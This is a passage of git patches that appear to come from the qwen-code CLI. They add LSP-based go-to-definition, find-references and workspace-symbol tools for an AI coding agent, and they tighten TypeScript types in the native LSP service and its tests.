(file:///...). Requires `line` when provided.', + }, + line: { + type: 'number', + description: '1-based line number for the target location.', + }, + character: { + type: 'number', + description: + '1-based character/column number for the target location.', + }, + includeDeclaration: { + type: 'boolean', + description: + 'Include the declaration itself when looking up references.', + }, + serverName: { + type: 'string', + description: 'Optional LSP server name to target.', + }, + limit: { + type: 'number', + description: 'Optional maximum number of results to return.', + }, + }, + }, + false, + false, + ); + } + + protected createInvocation( + params: LspFindReferencesParams, + ): ToolInvocation { + return new LspFindReferencesInvocation(this.config, params); + } +} diff --git a/packages/core/src/tools/lsp-go-to-definition.ts b/packages/core/src/tools/lsp-go-to-definition.ts new file mode 100644 index 000000000..cfbc92d32 --- /dev/null +++ b/packages/core/src/tools/lsp-go-to-definition.ts @@ -0,0 +1,309 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import path from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; +import type { ToolInvocation, ToolResult } from './tools.js'; +import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; +import { ToolDisplayNames, ToolNames } from './tool-names.js'; +import type { Config } from '../config/config.js'; +import type { + LspClient, + LspDefinition, + LspLocation, +} from '../lsp/types.js'; + +export interface LspGoToDefinitionParams { + /** + * Symbol name to resolve if a file/position is not provided. + */ + symbol?: string; + /** + * File path (absolute or workspace-relative). + * Use together with `line` (1-based) and optional `character` (1-based). + */ + file?: string; + /** + * File URI (e.g., file:///path/to/file). + * Use together with `line` (1-based) and optional `character` (1-based). + */ + uri?: string; + /** + * 1-based line number when targeting a specific file location. + */ + line?: number; + /** + * 1-based character/column number when targeting a specific file location. + */ + character?: number; + /** + * Optional server name override. + */ + serverName?: string; + /** + * Optional maximum number of results. + */ + limit?: number; +} + +type ResolvedTarget = + | { + location: LspLocation; + description: string; + serverName?: string; + fromSymbol: boolean; + } + | { error: string }; + +class LspGoToDefinitionInvocation extends BaseToolInvocation< + LspGoToDefinitionParams, + ToolResult +> { + constructor( + private readonly config: Config, + params: LspGoToDefinitionParams, + ) { + super(params); + } + + getDescription(): string { + if (this.params.symbol) { + return `LSP go-to-definition（跳转定义） for symbol "${this.params.symbol}"`; + } + if (this.params.file && this.params.line !== undefined) { + return `LSP go-to-definition（跳转定义） at ${this.params.file}:${this.params.line}:${this.params.character ?? 1}`; + } + if (this.params.uri && this.params.line !== undefined) { + return `LSP go-to-definition（跳转定义） at ${this.params.uri}:${this.params.line}:${this.params.character ?? 1}`; + } + return 'LSP go-to-definition（跳转定义）'; + } + + async execute(_signal: AbortSignal): Promise { + const client = this.config.getLspClient(); + if (!client || !this.config.isLspEnabled()) { + const message = + 'LSP go-to-definition is unavailable (LSP disabled or not initialized).'; + return { llmContent: message, returnDisplay: message }; + } + + const target = await this.resolveTarget(client); + if ('error' in target) { + return { llmContent: target.error, returnDisplay: target.error }; + } + + const limit = this.params.limit ?? 20; + let definitions: LspDefinition[] = []; + try { + definitions = await client.definitions( + target.location, + target.serverName, + limit, + ); + } catch (error) { + const message = `LSP go-to-definition failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + // Fallback to the resolved symbol location if the server does not return definitions. + if (!definitions.length && target.fromSymbol) { + definitions = [ + { + ...target.location, + serverName: target.serverName, + }, + ]; + } + + if (!definitions.length) { + const message = `No definitions found for ${target.description}.`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const lines = definitions.slice(0, limit).map((definition, index) => { + return `${index + 1}. ${this.formatLocation(definition, workspaceRoot)}`; + }); + + const heading = `Definitions for ${target.description}:`; + return { + llmContent: [heading, ...lines].join('\n'), + returnDisplay: lines.join('\n'), + }; + } + + private async resolveTarget( + client: Pick, + ): Promise { + const workspaceRoot = this.config.getProjectRoot(); + const lineProvided = typeof this.params.line === 'number'; + const character = this.params.character ?? 1; + + if ((this.params.file || this.params.uri) && lineProvided) { + const uri = this.resolveUri(workspaceRoot); + if (!uri) { + return { + error: + 'A valid file path or URI is required when specifying a line/character.', + }; + } + const position = { + line: Math.max(0, Math.floor((this.params.line ?? 1) - 1)), + character: Math.max(0, Math.floor(character - 1)), + }; + const location: LspLocation = { + uri, + range: { start: position, end: position }, + }; + const description = this.formatLocation( + { ...location, serverName: this.params.serverName }, + workspaceRoot, + ); + return { + location, + description, + serverName: this.params.serverName, + fromSymbol: false, + }; + } + + if (this.params.symbol) { + try { + const symbols = await client.workspaceSymbols(this.params.symbol, 5); + if (!symbols.length) { + return { + error: `No symbols found for query "${this.params.symbol}".`, + }; + } + const top = symbols[0]; + return { + location: top.location, + description: `symbol "${this.params.symbol}"`, + serverName: this.params.serverName ?? top.serverName, + fromSymbol: true, + }; + } catch (error) { + return { + error: `Workspace symbol search failed: ${ + (error as Error)?.message || String(error) + }`, + }; + } + } + + return { + error: + 'Provide a symbol name or a file plus line (and optional character) to use go-to-definition.', + }; + } + + private resolveUri(workspaceRoot: string): string | null { + if (this.params.uri) { + if ( + this.params.uri.startsWith('file://') || + this.params.uri.includes('://') + ) { + return this.params.uri; + } + const absoluteUriPath = path.isAbsolute(this.params.uri) + ? this.params.uri + : path.resolve(workspaceRoot, this.params.uri); + return pathToFileURL(absoluteUriPath).toString(); + } + + if (this.params.file) { + const absolutePath = path.isAbsolute(this.params.file) + ? this.params.file + : path.resolve(workspaceRoot, this.params.file); + return pathToFileURL(absolutePath).toString(); + } + + return null; + } + + private formatLocation( + location: LspDefinition | (LspLocation & { serverName?: string }), + workspaceRoot: string, + ): string { + const start = location.range.start; + let filePath = location.uri; + + if (filePath.startsWith('file://')) { + filePath = fileURLToPath(filePath); + filePath = path.relative(workspaceRoot, filePath) || '.'; + } + + const serverSuffix = + location.serverName && location.serverName !== '' + ? ` [${location.serverName}]` + : ''; + + return `${filePath}:${(start.line ?? 0) + 1}:${(start.character ?? 0) + 1}${serverSuffix}`; + } +} + +export class LspGoToDefinitionTool extends BaseDeclarativeTool< + LspGoToDefinitionParams, + ToolResult +> { + static readonly Name = ToolNames.LSP_GO_TO_DEFINITION; + + constructor(private readonly config: Config) { + super( + LspGoToDefinitionTool.Name, + ToolDisplayNames.LSP_GO_TO_DEFINITION, + 'Use LSP go-to-definition for a symbol or a specific file location（跳转定义，优先于 grep 搜索）。', + Kind.Other, + { + type: 'object', + properties: { + symbol: { + type: 'string', + description: + 'Symbol name to resolve when a file/position is not provided.', + }, + file: { + type: 'string', + description: + 'File path (absolute or workspace-relative). Requires `line`.', + }, + uri: { + type: 'string', + description: + 'File URI (file:///...). Requires `line` when provided.', + }, + line: { + type: 'number', + description: '1-based line number for the target location.', + }, + character: { + type: 'number', + description: + '1-based character/column number for the target location.', + }, + serverName: { + type: 'string', + description: 'Optional LSP server name to target.', + }, + limit: { + type: 'number', + description: 'Optional maximum number of results to return.', + }, + }, + }, + false, + false, + ); + } + + protected createInvocation( + params: LspGoToDefinitionParams, + ): ToolInvocation { + return new LspGoToDefinitionInvocation(this.config, params); + } +} diff --git a/packages/core/src/tools/lsp-workspace-symbol.ts b/packages/core/src/tools/lsp-workspace-symbol.ts new file mode 100644 index 000000000..be016a02d --- /dev/null +++ b/packages/core/src/tools/lsp-workspace-symbol.ts @@ -0,0 +1,180 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import type { ToolInvocation, ToolResult } from './tools.js'; +import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; +import { ToolDisplayNames, ToolNames } from './tool-names.js'; +import type { Config } from '../config/config.js'; +import type { LspSymbolInformation } from '../lsp/types.js'; + +export interface LspWorkspaceSymbolParams { + /** + * Query string to search symbols (e.g., function or class name). + */ + query: string; + /** + * Maximum number of results to return. + */ + limit?: number; +} + +class LspWorkspaceSymbolInvocation extends BaseToolInvocation< + LspWorkspaceSymbolParams, + ToolResult +> { + constructor( + private readonly config: Config, + params: LspWorkspaceSymbolParams, + ) { + super(params); + } + + getDescription(): string { + return `LSP workspace symbol search（按名称找定义/实现/引用） for "${this.params.query}"`; + } + + async execute(_signal: AbortSignal): Promise { + const client = this.config.getLspClient(); + if (!client || !this.config.isLspEnabled()) { + const message = + 'LSP workspace symbol search is unavailable (LSP disabled or not initialized).'; + return { llmContent: message, returnDisplay: message }; + } + + const limit = this.params.limit ?? 20; + let symbols: LspSymbolInformation[] = []; + try { + symbols = await client.workspaceSymbols(this.params.query, limit); + } catch (error) { + const message = `LSP workspace symbol search failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!symbols.length) { + const message = `No symbols found for query "${this.params.query}".`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const lines = symbols.slice(0, limit).map((symbol, index) => { + const location = this.formatLocation(symbol, workspaceRoot); + const serverSuffix = symbol.serverName + ? ` [${symbol.serverName}]` + : ''; + const kind = symbol.kind ? ` (${symbol.kind})` : ''; + const container = symbol.containerName + ? ` in ${symbol.containerName}` + : ''; + return `${index + 1}. ${symbol.name}${kind}${container} - ${location}${serverSuffix}`; + }); + + const heading = `Found ${Math.min(symbols.length, limit)} of ${ + symbols.length + } symbols for query "${this.params.query}":`; + + let referenceSection = ''; + const topSymbol = symbols[0]; + if (topSymbol) { + try { + const referenceLimit = Math.min(20, Math.max(limit, 5)); + const references = await client.references( + topSymbol.location, + topSymbol.serverName, + false, + referenceLimit, + ); + if (references.length > 0) { + const refLines = references.map((ref, index) => { + const location = this.formatLocation( + { location: ref, name: '', kind: undefined }, + workspaceRoot, + ); + const serverSuffix = ref.serverName + ? ` [${ref.serverName}]` + : ''; + return `${index + 1}. ${location}${serverSuffix}`; + }); + referenceSection = [ + '', + `References for top match (${topSymbol.name}):`, + ...refLines, + ].join('\n'); + } + } catch (error) { + referenceSection = `\nReferences lookup failed: ${ + (error as Error)?.message || String(error) + }`; + } + } + + const llmParts = referenceSection + ? [heading, ...lines, referenceSection] + : [heading, ...lines]; + const displayParts = referenceSection + ? [...lines, referenceSection] + : [...lines]; + + return { + llmContent: llmParts.join('\n'), + returnDisplay: displayParts.join('\n'), + }; + } + + private formatLocation(symbol: LspSymbolInformation, workspaceRoot: string) { + const { uri, range } = symbol.location; + let filePath = uri; + if (uri.startsWith('file://')) { + filePath = fileURLToPath(uri); + filePath = path.relative(workspaceRoot, filePath) || '.'; + } + const line = (range.start.line ?? 0) + 1; + const character = (range.start.character ?? 0) + 1; + return `${filePath}:${line}:${character}`; + } +} + +export class LspWorkspaceSymbolTool extends BaseDeclarativeTool< + LspWorkspaceSymbolParams, + ToolResult +> { + static readonly Name = ToolNames.LSP_WORKSPACE_SYMBOL; + + constructor(private readonly config: Config) { + super( + LspWorkspaceSymbolTool.Name, + ToolDisplayNames.LSP_WORKSPACE_SYMBOL, + 'Search workspace symbols via LSP（查找定义/实现/引用，按名称定位符号，优先于 grep）。', + Kind.Other, + { + type: 'object', + properties: { + query: { + type: 'string', + description: + 'Symbol name query, e.g., function/class/variable name to search.', + }, + limit: { + type: 'number', + description: 'Optional maximum number of results to return.', + }, + }, + required: ['query'], + }, + false, + false, + ); + } + + protected createInvocation( + params: LspWorkspaceSymbolParams, + ): ToolInvocation { + return new LspWorkspaceSymbolInvocation(this.config, params); + } +} diff --git a/packages/core/src/tools/tool-names.ts b/packages/core/src/tools/tool-names.ts index 8cd1de541..1e0600b0a 100644 --- a/packages/core/src/tools/tool-names.ts +++ b/packages/core/src/tools/tool-names.ts @@ -25,6 +25,9 @@ export const ToolNames = { WEB_FETCH: 'web_fetch', WEB_SEARCH: 'web_search', LS: 'list_directory', + LSP_WORKSPACE_SYMBOL: 'lsp_workspace_symbol', + LSP_GO_TO_DEFINITION: 'lsp_go_to_definition', + LSP_FIND_REFERENCES: 'lsp_find_references', } as const; /** @@ -48,6 +51,9 @@ export const ToolDisplayNames = { WEB_FETCH: 'WebFetch', WEB_SEARCH: 'WebSearch', LS: 'ListFiles', + LSP_WORKSPACE_SYMBOL: 'LspWorkspaceSymbol', + LSP_GO_TO_DEFINITION: 'LspGoToDefinition', + LSP_FIND_REFERENCES: 'LspFindReferences', } as const; // Migration from old tool names to new tool names @@ -56,6 +62,8 @@ export const ToolDisplayNames = { export const ToolNamesMigration = { search_file_content: ToolNames.GREP, // Legacy name from grep tool replace: ToolNames.EDIT, // Legacy name from edit tool + go_to_definition: ToolNames.LSP_GO_TO_DEFINITION, + find_references: ToolNames.LSP_FIND_REFERENCES, } as const; // Migration from old tool display names to new tool display names From d1d215b82e9649a287af80d8cf595a9103d82932 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Mon, 5 Jan 2026 10:18:24 +0800 Subject: [PATCH 03/79] wip(cli): support lsp --- .../src/services/lsp/LspConnectionFactory.ts | 13 +-- .../src/services/lsp/NativeLspService.test.ts | 35 ++++---- .../cli/src/services/lsp/NativeLspService.ts | 87 +++++++++++-------- packages/core/src/lsp/types.ts | 4 +- 4 files changed, 81 insertions(+), 58 deletions(-) diff --git a/packages/cli/src/services/lsp/LspConnectionFactory.ts b/packages/cli/src/services/lsp/LspConnectionFactory.ts index e18262ed6..00832adb5 100644 --- a/packages/cli/src/services/lsp/LspConnectionFactory.ts +++ b/packages/cli/src/services/lsp/LspConnectionFactory.ts @@ -12,8 +12,11 @@ class JsonRpcConnection { private nextId = 1; private disposed = false; private pendingRequests = new Map(); - private notificationHandlers: Array<(notification: JsonRpcMessage) => void> = []; - private requestHandlers: Array<(request: JsonRpcMessage) => Promise> = []; + private notificationHandlers: Array<(notification: JsonRpcMessage) => void> = + []; + private requestHandlers: Array< + (request: JsonRpcMessage) => Promise + > = []; constructor( private readonly writer: (data: string) => void, @@ -229,12 +232,12 @@ interface JsonRpcMessage { jsonrpc: string; id?: number | string; method?: string; - params?: any; - result?: any; + params?: unknown; + result?: unknown; error?: { code: number; message: string; - data?: any; + data?: unknown; }; } diff --git a/packages/cli/src/services/lsp/NativeLspService.test.ts b/packages/cli/src/services/lsp/NativeLspService.test.ts index 1fadd620a..521f4c2e0 100644 --- a/packages/cli/src/services/lsp/NativeLspService.test.ts +++ b/packages/cli/src/services/lsp/NativeLspService.test.ts @@ -1,10 +1,12 @@ /* eslint-disable @typescript-eslint/no-unused-vars */ import { NativeLspService } from './NativeLspService.js'; -import type { Config as CoreConfig } from '@qwen-code/qwen-code-core'; -import { WorkspaceContext } from '@qwen-code/qwen-code-core'; +import type { + Config as CoreConfig, + WorkspaceContext, + FileDiscoveryService, + IdeContextStore, +} from '@qwen-code/qwen-code-core'; import { EventEmitter } from 'events'; -import { FileDiscoveryService } from '@qwen-code/qwen-code-core'; -import { IdeContextStore } from '@qwen-code/qwen-code-core'; // 模拟依赖项 class MockConfig { @@ -33,11 +35,11 @@ class MockWorkspaceContext { async readFile(path: string): Promise { if (path.includes('.lsp.json')) { return JSON.stringify({ - 'typescript': { - 'command': 'typescript-language-server', - 'args': ['--stdio'], - 'transport': 'stdio' - } + typescript: { + command: 'typescript-language-server', + args: ['--stdio'], + transport: 'stdio', + }, }); } return '{}'; @@ -57,13 +59,16 @@ class MockWorkspaceContext { } class MockFileDiscoveryService { - async discoverFiles(root: string, options: any): Promise { + async discoverFiles( + root: string, + options: Record, + ): Promise { // 模拟发现一些文件 return [ '/test/workspace/src/index.ts', '/test/workspace/src/utils.ts', '/test/workspace/server.py', - '/test/workspace/main.go' + '/test/workspace/main.go', ]; } @@ -92,11 +97,11 @@ describe('NativeLspService', () => { eventEmitter = new EventEmitter(); lspService = new NativeLspService( - mockConfig as any, - mockWorkspace as any, + mockConfig as CoreConfig, + mockWorkspace as WorkspaceContext, eventEmitter, - mockFileDiscovery as any, - mockIdeStore as any + mockFileDiscovery as FileDiscoveryService, + mockIdeStore as IdeContextStore, ); }); diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index aca87e3e6..041decc35 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -1,15 +1,18 @@ -import type { Config as CoreConfig } from '@qwen-code/qwen-code-core'; -import type { WorkspaceContext } from '@qwen-code/qwen-code-core'; -import type { EventEmitter } from 'events'; -import type { FileDiscoveryService } from '@qwen-code/qwen-code-core'; -import type { IdeContextStore } from '@qwen-code/qwen-code-core'; -import { LspConnectionFactory } from './LspConnectionFactory.js'; import type { + Config as CoreConfig, + WorkspaceContext, + FileDiscoveryService, + IdeContextStore, LspLocation, LspDefinition, LspReference, LspSymbolInformation, } from '@qwen-code/qwen-code-core'; +import type { EventEmitter } from 'events'; +import { + LspConnectionFactory, + type JsonRpcMessage, +} from './LspConnectionFactory.js'; import * as path from 'path'; import { pathToFileURL } from 'url'; import { spawn, type ChildProcess } from 'node:child_process'; @@ -18,7 +21,7 @@ import { globSync } from 'glob'; // 定义 LSP 初始化选项的类型 interface LspInitializationOptions { - [key: string]: any; + [key: string]: unknown; } // 定义 LSP 服务器配置类型 @@ -36,11 +39,11 @@ interface LspServerConfig { // 定义 LSP 连接接口 interface LspConnectionInterface { listen: (readable: NodeJS.ReadableStream) => void; - send: (message: any) => void; - onNotification: (handler: (notification: any) => void) => void; - onRequest: (handler: (request: any) => Promise) => void; - request: (method: string, params: any) => Promise; - initialize: (params: any) => Promise; + send: (message: JsonRpcMessage) => void; + onNotification: (handler: (notification: JsonRpcMessage) => void) => void; + onRequest: (handler: (request: JsonRpcMessage) => Promise) => void; + request: (method: string, params: unknown) => Promise; + initialize: (params: unknown) => Promise; shutdown: () => Promise; end: () => void; } @@ -90,7 +93,7 @@ export class NativeLspService { this.excludedServers = options.excludedServers?.filter(Boolean); this.requireTrustedWorkspace = options.requireTrustedWorkspace ?? true; this.workspaceRoot = - options.workspaceRoot ?? (config as any).getProjectRoot(); + options.workspaceRoot ?? (config as CoreConfig).getProjectRoot(); } /** @@ -462,15 +465,19 @@ export class NativeLspService { } private normalizeLocationResult( - item: any, + item: unknown, serverName: string, ): LspReference | null { - const uri = item?.uri ?? item?.targetUri ?? item?.target?.uri; + const itemObj = item as Record; + const uri = + itemObj?.uri ?? + itemObj?.targetUri ?? + (itemObj?.target as Record)?.uri; const range = - item?.range ?? - item?.targetSelectionRange ?? - item?.targetRange ?? - item?.target?.range; + itemObj?.range ?? + itemObj?.targetSelectionRange ?? + itemObj?.targetRange ?? + (itemObj?.target as Record)?.range; if (!uri || !range?.start || !range?.end) { return null; @@ -493,12 +500,17 @@ export class NativeLspService { } private normalizeSymbolResult( - item: any, + item: unknown, serverName: string, ): LspSymbolInformation | null { - const location = item?.location ?? item?.target ?? item; + const itemObj = item as Record; + const location = itemObj?.location ?? itemObj?.target ?? itemObj; + const locationObj = location as Record; const range = - location?.range ?? location?.targetRange ?? item?.range ?? undefined; + locationObj?.range ?? + locationObj?.targetRange ?? + itemObj?.range ?? + undefined; if (!location?.uri || !range?.start || !range?.end) { return null; @@ -581,7 +593,7 @@ export class NativeLspService { args: ['--stdio'], transport: 'stdio', initializationOptions: {}, - rootUri: rootUri, + rootUri, trustRequired: true, }); } @@ -594,7 +606,7 @@ export class NativeLspService { args: [], transport: 'stdio', initializationOptions: {}, - rootUri: rootUri, + rootUri, trustRequired: true, }); } @@ -607,7 +619,7 @@ export class NativeLspService { args: [], transport: 'stdio', initializationOptions: {}, - rootUri: rootUri, + rootUri, trustRequired: true, }); } @@ -633,7 +645,7 @@ export class NativeLspService { if (userConfig && typeof userConfig === 'object') { for (const [langId, serverSpec] of Object.entries(userConfig) as [ string, - any, + Record, ]) { // 转换为文件 URI 格式 const rootUri = pathToFileURL(this.workspaceRoot).toString(); @@ -651,7 +663,7 @@ export class NativeLspService { args: serverSpec.args || [], transport: serverSpec.transport || 'stdio', initializationOptions: serverSpec.initializationOptions, - rootUri: rootUri, + rootUri, trustRequired: serverSpec.trustRequired ?? true, }; @@ -715,7 +727,9 @@ export class NativeLspService { } // 检查路径安全性 - if (!this.isPathSafe(handle.config.command, (this.config as any).cwd)) { + if ( + !this.isPathSafe(handle.config.command, (this.config as CoreConfig).cwd) + ) { console.warn( `LSP 服务器 ${name} 的命令路径不安全: ${handle.config.command}`, ); @@ -773,7 +787,7 @@ export class NativeLspService { process: ChildProcess; shutdown: () => Promise; exit: () => void; - initialize: (params: any) => Promise; + initialize: (params: unknown) => Promise; }> { if (config.transport === 'stdio') { // 修复：使用 cwd 作为 cwd 而不是 rootUri @@ -795,9 +809,8 @@ export class NativeLspService { } lspConnection.connection.end(); }, - initialize: async (params: any) => { - return lspConnection.connection.initialize(params); - }, + initialize: async (params: unknown) => + lspConnection.connection.initialize(params), }; } else if (config.transport === 'tcp') { // 如果需要 TCP 支持，可以扩展此部分 @@ -866,7 +879,9 @@ export class NativeLspService { const tsFile = this.findFirstTypescriptFile(); if (tsFile) { const uri = pathToFileURL(tsFile).toString(); - const languageId = tsFile.endsWith('.tsx') ? 'typescriptreact' : 'typescript'; + const languageId = tsFile.endsWith('.tsx') + ? 'typescriptreact' + : 'typescript'; const text = fs.readFileSync(tsFile, 'utf-8'); connection.connection.send({ jsonrpc: '2.0', @@ -1013,15 +1028,15 @@ export class NativeLspService { return handle.config.name.includes('typescript'); } - private isNoProjectErrorResponse(response: any): boolean { + private isNoProjectErrorResponse(response: unknown): boolean { if (!response) { return false; } const message = typeof response === 'string' ? response - : typeof response?.message === 'string' - ? response.message + : typeof (response as Record)?.message === 'string' + ? ((response as Record).message as string) : ''; return message.includes('No Project'); } diff --git a/packages/core/src/lsp/types.ts b/packages/core/src/lsp/types.ts index 2a412d660..239962a77 100644 --- a/packages/core/src/lsp/types.ts +++ b/packages/core/src/lsp/types.ts @@ -31,9 +31,9 @@ export interface LspSymbolInformation { serverName?: string; } -export interface LspReference extends LspLocationWithServer {} +export type LspReference = LspLocationWithServer; -export interface LspDefinition extends LspLocationWithServer {} +export type LspDefinition = LspLocationWithServer; export interface LspClient { workspaceSymbols( From 5a907c3415d4c54e2fe8748ed896724e86aa73c4 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Wed, 7 Jan 2026 15:21:33 +0800 Subject: [PATCH 04/79] wip(cli): support lsp --- .../src/services/lsp/LspConnectionFactory.ts | 15 ++- .../src/services/lsp/NativeLspService.test.ts | 43 +++--- .../cli/src/services/lsp/NativeLspService.ts | 124 +++++++++++------- packages/core/src/lsp/types.ts | 8 +- .../core/src/tools/lsp-find-references.ts | 15 +-- .../core/src/tools/lsp-go-to-definition.ts | 15 +-- 6 files changed, 122 insertions(+), 98 deletions(-) diff --git a/packages/cli/src/services/lsp/LspConnectionFactory.ts b/packages/cli/src/services/lsp/LspConnectionFactory.ts index e18262ed6..ccee42d06 100644 --- a/packages/cli/src/services/lsp/LspConnectionFactory.ts +++ b/packages/cli/src/services/lsp/LspConnectionFactory.ts @@ -11,9 +11,12 @@ class JsonRpcConnection { private buffer = ''; private nextId = 1; private disposed = false; - private pendingRequests = new Map(); - private notificationHandlers: Array<(notification: JsonRpcMessage) => void> = []; - private requestHandlers: Array<(request: JsonRpcMessage) => Promise> = []; + private pendingRequests = new Map(); + private notificationHandlers: Array<(notification: JsonRpcMessage) => void> = + []; + private requestHandlers: Array< + (request: JsonRpcMessage) => Promise + > = []; constructor( private readonly writer: (data: string) => void, @@ -229,12 +232,12 @@ interface JsonRpcMessage { jsonrpc: string; id?: number | string; method?: string; - params?: any; - result?: any; + params?: unknown; + result?: unknown; error?: { code: number; message: string; - data?: any; + data?: unknown; }; } diff --git a/packages/cli/src/services/lsp/NativeLspService.test.ts b/packages/cli/src/services/lsp/NativeLspService.test.ts index 1fadd620a..c6479bfbb 100644 --- a/packages/cli/src/services/lsp/NativeLspService.test.ts +++ b/packages/cli/src/services/lsp/NativeLspService.test.ts @@ -1,10 +1,5 @@ -/* eslint-disable @typescript-eslint/no-unused-vars */ import { NativeLspService } from './NativeLspService.js'; -import type { Config as CoreConfig } from '@qwen-code/qwen-code-core'; -import { WorkspaceContext } from '@qwen-code/qwen-code-core'; import { EventEmitter } from 'events'; -import { FileDiscoveryService } from '@qwen-code/qwen-code-core'; -import { IdeContextStore } from '@qwen-code/qwen-code-core'; // 模拟依赖项 class MockConfig { @@ -14,7 +9,7 @@ class MockConfig { return true; } - get(key: string) { + get(_key: string) { return undefined; } @@ -26,28 +21,28 @@ class MockConfig { class MockWorkspaceContext { rootPath = '/test/workspace'; - async fileExists(path: string): Promise { - return path.endsWith('.json') || path.includes('package.json'); + async fileExists(_path: string): Promise { + return _path.endsWith('.json') || _path.includes('package.json'); } - async readFile(path: string): Promise { - if (path.includes('.lsp.json')) { + async readFile(_path: string): Promise { + if (_path.includes('.lsp.json')) { return JSON.stringify({ - 'typescript': { - 'command': 'typescript-language-server', - 'args': ['--stdio'], - 'transport': 'stdio' - } + typescript: { + command: 'typescript-language-server', + args: ['--stdio'], + transport: 'stdio', + }, }); } return '{}'; } - resolvePath(path: string): string { - return this.rootPath + '/' + path; + resolvePath(_path: string): string { + return this.rootPath + '/' + _path; } - isPathWithinWorkspace(path: string): boolean { + isPathWithinWorkspace(_path: string): boolean { return true; } @@ -57,13 +52,13 @@ class MockWorkspaceContext { } class MockFileDiscoveryService { - async discoverFiles(root: string, options: any): Promise { + async discoverFiles(_root: string, _options: unknown): Promise { // 模拟发现一些文件 return [ '/test/workspace/src/index.ts', '/test/workspace/src/utils.ts', '/test/workspace/server.py', - '/test/workspace/main.go' + '/test/workspace/main.go', ]; } @@ -92,11 +87,11 @@ describe('NativeLspService', () => { eventEmitter = new EventEmitter(); lspService = new NativeLspService( - mockConfig as any, - mockWorkspace as any, + mockConfig as MockConfig, + mockWorkspace as MockWorkspaceContext, eventEmitter, - mockFileDiscovery as any, - mockIdeStore as any + mockFileDiscovery as MockFileDiscoveryService, + mockIdeStore as MockIdeContextStore, ); }); diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index aca87e3e6..f15f2b2b5 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -1,15 +1,15 @@ -import type { Config as CoreConfig } from '@qwen-code/qwen-code-core'; -import type { WorkspaceContext } from '@qwen-code/qwen-code-core'; -import type { EventEmitter } from 'events'; -import type { FileDiscoveryService } from '@qwen-code/qwen-code-core'; -import type { IdeContextStore } from '@qwen-code/qwen-code-core'; -import { LspConnectionFactory } from './LspConnectionFactory.js'; import type { + Config as CoreConfig, + WorkspaceContext, + FileDiscoveryService, + IdeContextStore, LspLocation, LspDefinition, LspReference, LspSymbolInformation, } from '@qwen-code/qwen-code-core'; +import type { EventEmitter } from 'events'; +import { LspConnectionFactory } from './LspConnectionFactory.js'; import * as path from 'path'; import { pathToFileURL } from 'url'; import { spawn, type ChildProcess } from 'node:child_process'; @@ -18,7 +18,7 @@ import { globSync } from 'glob'; // 定义 LSP 初始化选项的类型 interface LspInitializationOptions { - [key: string]: any; + [key: string]: unknown; } // 定义 LSP 服务器配置类型 @@ -36,11 +36,11 @@ interface LspServerConfig { // 定义 LSP 连接接口 interface LspConnectionInterface { listen: (readable: NodeJS.ReadableStream) => void; - send: (message: any) => void; - onNotification: (handler: (notification: any) => void) => void; - onRequest: (handler: (request: any) => Promise) => void; - request: (method: string, params: any) => Promise; - initialize: (params: any) => Promise; + send: (message: unknown) => void; + onNotification: (handler: (notification: unknown) => void) => void; + onRequest: (handler: (request: unknown) => Promise) => void; + request: (method: string, params: unknown) => Promise; + initialize: (params: unknown) => Promise; shutdown: () => Promise; end: () => void; } @@ -90,7 +90,8 @@ export class NativeLspService { this.excludedServers = options.excludedServers?.filter(Boolean); this.requireTrustedWorkspace = options.requireTrustedWorkspace ?? true; this.workspaceRoot = - options.workspaceRoot ?? (config as any).getProjectRoot(); + options.workspaceRoot ?? + (config as { getProjectRoot: () => string }).getProjectRoot(); } /** @@ -462,30 +463,38 @@ export class NativeLspService { } private normalizeLocationResult( - item: any, + item: unknown, serverName: string, ): LspReference | null { - const uri = item?.uri ?? item?.targetUri ?? item?.target?.uri; + const itemObj = item as Record; + const uri = + itemObj?.uri ?? + itemObj?.targetUri ?? + (itemObj?.target as Record)?.uri; const range = - item?.range ?? - item?.targetSelectionRange ?? - item?.targetRange ?? - item?.target?.range; + itemObj?.range ?? + itemObj?.targetSelectionRange ?? + itemObj?.targetRange ?? + (itemObj?.target as Record)?.range; if (!uri || !range?.start || !range?.end) { return null; } + const rangeObj = range as Record; + const start = rangeObj.start as { line?: number; character?: number }; + const end = rangeObj.end as { line?: number; character?: number }; + return { - uri, + uri: uri as string, range: { start: { - line: Number(range.start.line ?? 0), - character: Number(range.start.character ?? 0), + line: Number(start?.line ?? 0), + character: Number(start?.character ?? 0), }, end: { - line: Number(range.end.line ?? 0), - character: Number(range.end.character ?? 0), + line: Number(end?.line ?? 0), + character: Number(end?.character ?? 0), }, }, serverName, @@ -493,31 +502,40 @@ export class NativeLspService { } private normalizeSymbolResult( - item: any, + item: unknown, serverName: string, ): LspSymbolInformation | null { - const location = item?.location ?? item?.target ?? item; + const itemObj = item as Record; + const location = itemObj?.location ?? itemObj?.target ?? item; + const locationObj = location as Record; const range = - location?.range ?? location?.targetRange ?? item?.range ?? undefined; + locationObj?.range ?? + locationObj?.targetRange ?? + itemObj?.range ?? + undefined; - if (!location?.uri || !range?.start || !range?.end) { + if (!locationObj?.uri || !range?.start || !range?.end) { return null; } + const rangeObj = range as Record; + const start = rangeObj.start as { line?: number; character?: number }; + const end = rangeObj.end as { line?: number; character?: number }; + return { - name: item?.name ?? item?.label ?? 